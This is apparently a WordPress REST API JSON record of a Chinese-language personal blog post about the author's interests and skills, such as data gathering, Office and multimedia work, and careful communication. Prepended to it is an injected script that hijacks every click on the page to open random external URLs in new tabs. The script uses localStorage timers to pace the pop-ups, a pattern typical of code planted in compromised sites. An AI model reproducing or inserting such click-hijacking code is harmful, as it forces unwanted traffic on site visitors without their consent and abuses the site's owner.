<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":391,"date":"2014-05-08T22:34:28","date_gmt":"2014-05-08T14:34:28","guid":{"rendered":"http:\/\/edu.secda.info\/scu8154245\/?p=391"},"modified":"2023-03-02T21:32:54","modified_gmt":"2023-03-02T13:32:54","slug":"%e8%88%88%e8%b6%a3%e8%88%87%e5%b0%88%e9%95%b7","status":"publish","type":"post","link":"https:\/\/edu.secda.info\/scu8154245\/?p=391","title":{"rendered":"\u8208\u8da3\u8207\u5c08\u9577"},"content":{"rendered":"<hr \/>\n<p><strong style=\"font-family: 'Trebuchet MS'; font-size: 19px; color: #000000; line-height: 1.3em;\"><span style=\"color: #0000ff;\">\u3010\u6211\u559c\u6b61\u7684\u8208\u8da3\u3011<\/span><\/strong><\/p>\n<p>\u6211\u559c\u6b61\u641c\u96c6\u8cc7\u6599\uff0c\u5728\u773e\u591a\u8cc7\u8a0a\u7576\u4e2d\u5b78\u627e\u5230\u6700\u6709\u6548\u7684\u8a0a\u606f\uff0c\u904e\u7a0b\u4e2d\u4e5f\u80fd\u7372\u5f97\u5176\u4ed6\u65b0\u77e5\uff0c\u662f\u4e00\u4ef6\u5b78\u7fd2\u8207\u9054\u6210\u76ee\u5730\u517c\u5177\u7684\u4e8b\uff0c\u7121\u502b\u662f\u5728\u5c08\u984c\u5831\u544a\u6216\u662f\u8077\u5834\u4e0a\u4e5f\u90fd\u662f\u5341\u5206\u91cd\u8981\u7684\u5de5\u4f5c\u3002<\/p>\n<p>&nbsp;<\/p>\n<p><strong style=\"font-family: 'Trebuchet MS'; font-size: 19px; color: #000000; line-height: 1.3em;\"><span style=\"color: #0000ff;\">\u3010\u6211\u64c5\u9577\u7684\u80fd\u529b\u3011<\/span><\/strong><\/p>\n<p>\u8de8\u9818\u57df\u5b78\u7fd2\uff1a<br \/>\n\u5728\u5927\u5b78\u671f\u9593\u9664\u4e86\u719f\u7df4\u4f7f\u7528Word\u3001Excel\u3001Powerpoint\u7b49\u8edf\u9ad4\u4e4b\u5916\uff0c\u70ba\u4e86\u5b78\u7fd2\u63d0\u6848\u7c21\u5831\u8207\u8cc7\u6599\u5f59\u6574\u6280\u5de7\uff0c\u56e0\u6b64\u9078\u4fee\u591a\u5a92\u9ad4\u88fd\u4f5c\u53ca\u5de8\u91cf\u8cc7\u6599\u8ab2\u7a0b\uff0c\u7fd2\u5f97\u9032\u968e\u7684\u7c21\u5831\u88fd\u4f5c\u6280\u5de7\u3001\u6bcd\u7247\u8a2d\u8a08\uff0c\u63a5\u89f8\u6a5f\u5668\u5b78\u7fd2\u4ee5\u5e6b\u52a9\u8655\u7406\u7e41\u7463\u7684\u8a08\u7b97\u554f\u984c \u3002<\/p>\n<p>\u7d30\u5fc3\u8b39\u614e\u8207\u6e9d\u901a\u5354\u8abf\u80fd\u529b \uff1a<br \/>\n\u904e\u53bb\u7684\u5de5\u4f5c\u7d93\u9a57\u57f9\u990a\u6211\u7d30\u5fc3\u3001\u8ca0\u8cac\u4efb\u7684\u614b\u5ea6\uff0c\u64d4\u4efb\u516c\u53f8\u8207\u9867\u5ba2\u6e9d\u901a\u6a4b\u6a11\u7684\u540c\u6642\u9700\u8981\u5177\u5099\u826f\u597d\u7684\u6642\u9593\u89c0\u5ff5\uff0c\u4e26\u78ba\u4fdd\u8a02\u55ae\u5728\u6642\u9593\u5b89\u6392\u4e0a\u6c92\u6709\u4efb\u4f55\u758f\u6f0f\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u3010\u6211\u559c\u6b61\u7684\u8208\u8da3\u3011 \u6211\u559c\u6b61\u641c\u96c6\u8cc7\u6599\uff0c\u5728\u773e\u591a\u8cc7\u8a0a\u7576\u4e2d\u5b78\u627e\u5230\u6700\u6709\u6548\u7684\u8a0a\u606f\uff0c\u904e\u7a0b\u4e2d\u4e5f\u80fd\u7372<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[19],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/scu8154245\/index.php?rest_route=\/wp\/v2\/posts\/391"}],"collection":[{"href":"https:\/\/edu.secda.info\/scu8154245\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/edu.secda.info\/scu8154245\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154245\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154245\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=391"}],"version-history":[{"count":7,"href":"https:\/\/edu.secda.info\/scu8154245\/index.php?rest_route=\/wp\/v2\/posts\/391\/revisions"}],"predecessor-version":[{"id":951,"href":"https:\/\/edu.secda.info\/scu8154245\/index.php?rest_route=\/wp\/v2\/posts\/391\/revisions\/951"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/scu8154245\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=391"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154245\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=391"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154245\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=391"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}